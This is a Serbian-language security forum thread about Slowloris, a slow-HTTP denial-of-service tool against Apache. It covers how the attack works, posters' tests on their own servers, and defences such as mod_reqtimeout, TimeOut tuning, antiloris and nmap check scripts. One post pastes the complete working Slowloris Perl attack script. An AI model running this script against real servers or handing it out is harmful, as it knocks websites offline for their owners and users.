Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Slowloris - DoSada za Apache

[es] :: Security :: Slowloris - DoSada za Apache

[ Pregleda: 5039 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

maksvel

Član broj: 107376
Poruke: 2417

Jabber: maksvel
Sajt: maksvel.in.rs


+161 Profil

icon Slowloris - DoSada za Apache16.08.2009. u 21:36 - pre 177 meseci
Danas baš čitah o Slowlorisu - alatu za DoS napad na veb-servere, koji mi se učinio zanimljivim, pa reko' da podelim sa zajednicom .
Masa DoS-ova se zasniva na nekakvim namerno "osakaćenim" zahtevima, a ovaj koristi potpuno trivijalan "štos": nepotpuni HTTP zahtev. Jednostavno se na kraju GET-a (HEAD-a, POST-a) ne šalje znak za novi red (CRLF), a server zauzme resurse i čeka, klijent ponavlja itd... Da bi se izbeglo terminiranje konekcija kojima su poslati nepotpuni HTTP zahtevi (čime bi se Apache oslobodio DoSade), periodično se šalju "bezvezni" podaci.
Jednostavnost Slowlorisa prate i skromni zahtevi za propusnošću veze na Internet.
Glavna žrtva Slowlorisa je Apache (1.x i 2.x), dok su npr. IIS, nginx i lighttpd otporni.
Metode odbrane od DoSade su: smanjivanje vrednosti direktive TimeOut sa default 5 min, blokiranje broja zahteva sa jedne IP adrese preko iptables, a pojavije su se i zakrpe.
Autor je "stanoviti" RSnake, a više o alatu može se pročitati i ovde.
 
Odgovor na temu

jorganwd
Muris Kurgaš
/dev/null

Član broj: 65537
Poruke: 779

Sajt: www.remote-exploit.org


+34 Profil

icon Re: Slowloris - DoSada za Apache17.08.2009. u 08:28 - pre 177 meseci
Jesi li testirao slowloris? Ja jos nisam stigao da se pozabavim testiranjem, pa ako neko jeste neka nam iznese podatke koje je sakupio testiranjem.
 
Odgovor na temu

maksvel

Član broj: 107376
Poruke: 2417

Jabber: maksvel
Sajt: maksvel.in.rs


+161 Profil

icon Re: Slowloris - DoSada za Apache17.08.2009. u 11:26 - pre 177 meseci
Evo, isprobao sam Slowloris i moram priznati - it rocks!
U pitanju je perl skripta, a pored perla potrebno je instalirati još i SSL biblioteke za perl, da bi skript radio.
"Napao" sam jedan server koji, ruku na srce, nije baš optimizovan i totalno nokautirao Apache za jako kratko vreme, bukvalno za nekoliko sekundi. Nisam ispratio potrošnju resursa, ali je sajt bukvalno zakovao. Po isključenju skripte, strane ponovo počinju da se normalno otvaraju. Naravno, dok skripta radi, drugi sajtovi se otvaraju bez problema.
NIsam još detaljno ispitao rast zauzeća resursa, tako da je ovo donekle subjektivan "test"...



[Ovu poruku je menjao maksvel dana 17.08.2009. u 12:37 GMT+1]
Prikačeni fajlovi
 
Odgovor na temu

Tyler Durden
Tyler Durden
Beograd

Član broj: 4312
Poruke: 3379
*.verat.net.



+1365 Profil

icon Re: Slowloris - DoSada za Apache02.09.2009. u 11:04 - pre 177 meseci
Ja sam upravo probao malo. I kod mene je zakucao jedan standardni Apache u roku od par sekundi, i load je skočio, ali nije došlo do prevelikih problema u funkcionisanju ostalih servisa na mašini.
Takođe, na drugom serveru sam probao Nginx koji je progutao 1000+ simultanih konekcija tako glatko da je prosto bilo uživanje za gledati :)
Beneath civilization's fragile crust, cold chaos churns...
 
Odgovor na temu

Lighttwen
Luka Paunović
Linux System Administrator

Član broj: 293522
Poruke: 243
*.adsl-3.sezampro.rs.

Sajt: www.leo-host.com


+40 Profil

icon Re: Slowloris - DoSada za Apache10.01.2013. u 15:53 - pre 136 meseci
Veoma jaka perl skripta ukoliko koristite dedicated mašinu, ja sam napadao moju drugu dedicated mašinu ugušilo je apache totalno, CSF firewall je prepoznao napad i blokirao ali sajtovi i dalje nisu radili zatim sam restartovao firewall i onda je sve bilo ok.
Posle sam našao jednu veoma jaku zaštitu za ovo ovde

http://www.internetfazoni.com/...-tutorijali/slowloris-zastita/
I zatim napad mašini ne može NIŠTA.

www.leo-host.com - Web Hosting | Registracija domena
 
Odgovor na temu

EArthquake

Član broj: 20684
Poruke: 884
*.dynamic.sbb.rs.



+67 Profil

icon Re: Slowloris - DoSada za Apache11.01.2013. u 22:18 - pre 136 meseci
letos sam napisao dve skripte za nmap za slowloris
jedna vrsi dos napad , mada je verovatno manje efikasna od originalne :
http://nmap.org/nsedoc/scripts/http-slowloris.html

a druga samo proverava (na siguran nacin , bez izazivanja DoS stanja servera) da li je server ranjiv:
http://nmap.org/nsedoc/scripts/http-slowloris-check.html

inace, dosta servera se moze oboriti ovom slowloris skriptom, ali usled niske max client vrednosti
a ne samog slowloris napada, sigurni pokazatelj toga je ako se server zakuca odmah nakon pocetka napada
u pitanju nije slowloris vec prost nedostatak mesta za veliki broj klijenata
za uspesan slowloris napad je potrebno neko vreme (par minuta do pola sata, zato se i zove tako...)

svi web serveri odavno nebi trebali da budu ranjivi na sam slowloris napad sto mozete proveriti
http-slowloris-check skriptom
 
Odgovor na temu

EArthquake

Član broj: 20684
Poruke: 884
*.dynamic.sbb.rs.



+67 Profil

icon Re: Slowloris - DoSada za Apache11.01.2013. u 22:24 - pre 136 meseci
inace , taj antiloris mod za apache potpuno promasuje poentu slowloris napada

kod slowloris napada je poenta da se napravi request koji se nikad ne zavrsava
recimo , posaljes deo requesta, pa nakon nekog vremena , drugi , pa treci i tako dalje ...
apache je bio ranjiv na slowloris zato sto je timeout brojac resetovao svaki put kad dobije novi deo
pa umesto da nezavrseni request timeouta nakon , recimo, 2 minuta on biva produzen kad god stigne
novi deo requesta

nginx u startu nije bio ranjiv jer se nije ponasao tako ...

EDIT:
sad sam se setio
mod_reqtimeout je kod apacha zaduzen da krpi ovu ranjivost
tako da proveri da li je enabled, a trebao bi da bude
http://httpd.apache.org/docs/trunk/mod/mod_reqtimeout.html

[Ovu poruku je menjao EArthquake dana 11.01.2013. u 23:40 GMT+1]
 
Odgovor na temu

Lighttwen
Luka Paunović
Linux System Administrator

Član broj: 293522
Poruke: 243
*.adsl-a-6.sezampro.rs.

Sajt: www.leo-host.com


+40 Profil

icon Re: Slowloris - DoSada za Apache11.01.2013. u 22:40 - pre 136 meseci
Ja koristim ovu perl skriptu,
veoma je moćna i Antiloris me jedini štiti od nje, probao sam razne altrenative.

Code:

    #!/usr/bin/perl -w
    use strict;
    use IO::Socket::INET;
    use IO::Socket::SSL;
    use Getopt::Long;
    use Config;
     
    $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
     
    my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
    my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
    my $result = GetOptions(
        'shost=s'   => \$shost,
        'dns=s'     => \$host,
        'httpready' => \$httpready,
        'num=i'     => \$connections,
        'cache'     => \$cache,
        'port=i'    => \$port,
        'https'     => \$ssl,
        'tcpto=i'   => \$tcpto,
        'test'      => \$test,
        'timeout=i' => \$timeout,
        'version'   => \$version,
    );
     
    if ($version) {
        print "Version 0.7\n";
        exit;
    }
     
    unless ($host) {
        print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
        print "\n\tType 'perldoc $0' for help with options.\n\n";
        exit;
    }
     
    unless ($port) {
        $port = 80;
        print "Defaulting to port 80.\n";
    }
     
    unless ($tcpto) {
        $tcpto = 5;
        print "Defaulting to a 5 second tcp connection timeout.\n";
    }
     
    unless ($test) {
        unless ($timeout) {
            $timeout = 3;
            print "Defaulting to a 100 second re-try timeout.\n";
        }
        unless ($connections) {
            $connections = 2500;
            print "Defaulting to 1000 connections.\n";
        }
    }
     
    my $usemultithreading = 0;
    if ( $Config{usethreads} ) {
        print "Multithreading enabled.\n";
        $usemultithreading = 1;
        use threads;
        use threads::shared;
    }
    else {
        print "No multithreading capabilites found!\n";
        print "Slowloris will be slower than normal as a result.\n";
    }
     
    my $packetcount : shared     = 0;
    my $failed : shared          = 0;
    my $connectioncount : shared = 0;
     
    srand() if ($cache);
     
    if ($shost) {
        $sendhost = $shost;
    }
    else {
        $sendhost = $host;
    }
    if ($httpready) {
        $method = "POST";
    }
    else {
        $method = "GET";
    }
     
    if ($test) {
        my @times = ( "2", "30", "90", "240", "500" );
        my $totaltime = 0;
        foreach (@times) {
            $totaltime = $totaltime + $_;
        }
        $totaltime = $totaltime / 60;
        print "This test could take up to $totaltime minutes.\n";
     
        my $delay   = 0;
        my $working = 0;
        my $sock;
     
        if ($ssl) {
            if (
                $sock = new IO::Socket::SSL(
                    PeerAddr => "$host",
                    PeerPort => "$port",
                    Timeout  => "$tcpto",
                    Proto    => "tcp",
                )
              )
            {
                $working = 1;
            }
        }
        else {
            if (
                $sock = new IO::Socket::INET(
                    PeerAddr => "$host",
                    PeerPort => "$port",
                    Timeout  => "$tcpto",
                    Proto    => "tcp",
                )
              )
            {
                $working = 1;
            }
        }
        if ($working) {
            if ($cache) {
                $rand = "?" . int( rand(99999999999999) );
            }
            else {
                $rand = "";
            }
            my $primarypayload =
                "GET /$rand HTTP/1.1\r\n"
              . "Host: $sendhost\r\n"
              . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
              . "Content-Length: 42\r\n";
            if ( print $sock $primarypayload ) {
                print "Connection successful, now comes the waiting game...\n";
            }
            else {
                print
    "That's odd - I connected but couldn't send the data to $host:$port.\n";
                print "Is something wrong?\nDying.\n";
                exit;
            }
        }
        else {
            print "Uhm... I can't connect to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
        for ( my $i = 0 ; $i <= $#times ; $i++ ) {
            print "Trying a $times[$i] second delay: \n";
            sleep( $times[$i] );
            if ( print $sock "X-a: b\r\n" ) {
                print "\tWorked.\n";
                $delay = $times[$i];
            }
            else {
                if ( $SIG{__WARN__} ) {
                    $delay = $times[ $i - 1 ];
                    last;
                }
                print "\tFailed after $times[$i] seconds.\n";
            }
        }
     
        if ( print $sock "Connection: Close\r\n\r\n" ) {
            print "Okay that's enough time. Slowloris closed the socket.\n";
            print "Use $delay seconds for -timeout.\n";
            exit;
        }
        else {
            print "Remote server closed socket.\n";
            print "Use $delay seconds for -timeout.\n";
            exit;
        }
        if ( $delay < 166 ) {
            print <<EOSUCKS2BU;
    Since the timeout ended up being so small ($delay seconds) and it generally
    takes between 200-500 threads for most servers and assuming any latency at
    all...  you might have trouble using Slowloris against this target.  You can
    tweak the -timeout flag down to less than 10 seconds but it still may not
    build the sockets in time.
    EOSUCKS2BU
        }
    }
    else {
        print
    "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
     
        if ($usemultithreading) {
            domultithreading($connections);
        }
        else {
            doconnections( $connections, $usemultithreading );
        }
    }
     
    sub doconnections {
        my ( $num, $usemultithreading ) = @_;
        my ( @first, @sock, @working );
        my $failedconnections = 0;
        $working[$_] = 0 foreach ( 1 .. $num );    #initializing
        $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
        while (1) {
            $failedconnections = 0;
            print "\t\tBuilding sockets.\n";
            foreach my $z ( 1 .. $num ) {
                if ( $working[$z] == 0 ) {
                    if ($ssl) {
                        if (
                            $sock[$z] = new IO::Socket::SSL(
                                PeerAddr => "$host",
                                PeerPort => "$port",
                                Timeout  => "$tcpto",
                                Proto    => "tcp",
                            )
                          )
                        {
                            $working[$z] = 1;
                        }
                        else {
                            $working[$z] = 0;
                        }
                    }
                    else {
                        if (
                            $sock[$z] = new IO::Socket::INET(
                                PeerAddr => "$host",
                                PeerPort => "$port",
                                Timeout  => "$tcpto",
                                Proto    => "tcp",
                            )
                          )
                        {
                            $working[$z] = 1;
                            $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                        }
                        else {
                            $working[$z] = 0;
                        }
                    }
                    if ( $working[$z] == 1 ) {
                        if ($cache) {
                            $rand = "?" . int( rand(99999999999999) );
                        }
                        else {
                            $rand = "";
                        }
                        my $primarypayload =
                            "$method /$rand HTTP/1.1\r\n"
                          . "Host: $sendhost\r\n"
                          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                          . "Content-Length: 42\r\n";
                        my $handle = $sock[$z];
                        if ($handle) {
                            print $handle "$primarypayload";
                            if ( $SIG{__WARN__} ) {
                                $working[$z] = 0;
                                close $handle;
                                $failed++;
                                $failedconnections++;
                            }
                            else {
                                $packetcount++;
                                $working[$z] = 1;
                            }
                        }
                        else {
                            $working[$z] = 0;
                            $failed++;
                            $failedconnections++;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
            }
            print "\t\tSending data.\n";
            foreach my $z ( 1 .. $num ) {
                if ( $working[$z] == 1 ) {
                    if ( $sock[$z] ) {
                        my $handle = $sock[$z];
                        if ( print $handle "X-a: b\r\n" ) {
                            $working[$z] = 1;
                            $packetcount++;
                        }
                        else {
                            $working[$z] = 0;
                            #debugging info
                            $failed++;
                            $failedconnections++;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
            }
            print
    "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
            sleep($timeout);
        }
    }
     
    sub domultithreading {
        my ($num) = @_;
        my @thrs;
        my $i                    = 0;
        my $connectionsperthread = 50;
        while ( $i < $num ) {
            $thrs[$i] =
              threads->create( \&doconnections, $connectionsperthread, 1 );
            $i += $connectionsperthread;
        }
        my @threadslist = threads->list();
        while ( $#threadslist > 0 ) {
            $failed = 0;
        }
    }


www.leo-host.com - Web Hosting | Registracija domena
 
Odgovor na temu

EArthquake

Član broj: 20684
Poruke: 884
*.dynamic.sbb.rs.



+67 Profil

icon Re: Slowloris - DoSada za Apache12.01.2013. u 11:51 - pre 136 meseci
kao sto rekoh, ako imas up to date apache i mod_reqtimeout enabled slowloris
napad ti ne moze nista
ako ti limiti nisu dobro podeseni, ona skripta moze da ti obori server usled zauzeca resursa , ali ne i zbog slowloris napda
antiloris ogranicava broj simultanih konekcija po IP adresi , sto nema veze s slowloris napadom, to sto te u tvom slucaju stiti
je samo "nuspojava" i verujem da bi uz odredjeno tweakovanje parametara skripte ipak mogao da uspe slowloris napad

pisem sve ovo da bih istakao sta je tacno slowloris napad, posto je jos od originalnog posta doslo do zabune

ako vam se usled pokretanja slowloris skripte server zapuca istog trenutka, to znaci da je server ranjiv na potrosnju resursa
da bi slowloris napad proradio treba vise vremena (u mojim testovima, kad sam radio za nmap, to je bilo izmedju 10 i 25 minuta)

Da budem jos precizniji , problem s resursima je usled MaxClients direktive
MaxClients oznacava maksimalni broj klijenata koji simultano mogu da budu opsluzivani
ako je ova vrednost niska, server ce "da se zapuca" usled velikog broja zahteva bio ranjih van slowloris napad ili ne
antiloris sprecava ovaj napad tako sto ogranicava broj zahteva sa odredjene IP adrese

[Ovu poruku je menjao EArthquake dana 12.01.2013. u 13:06 GMT+1]
 
Odgovor na temu

[es] :: Security :: Slowloris - DoSada za Apache

[ Pregleda: 5039 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.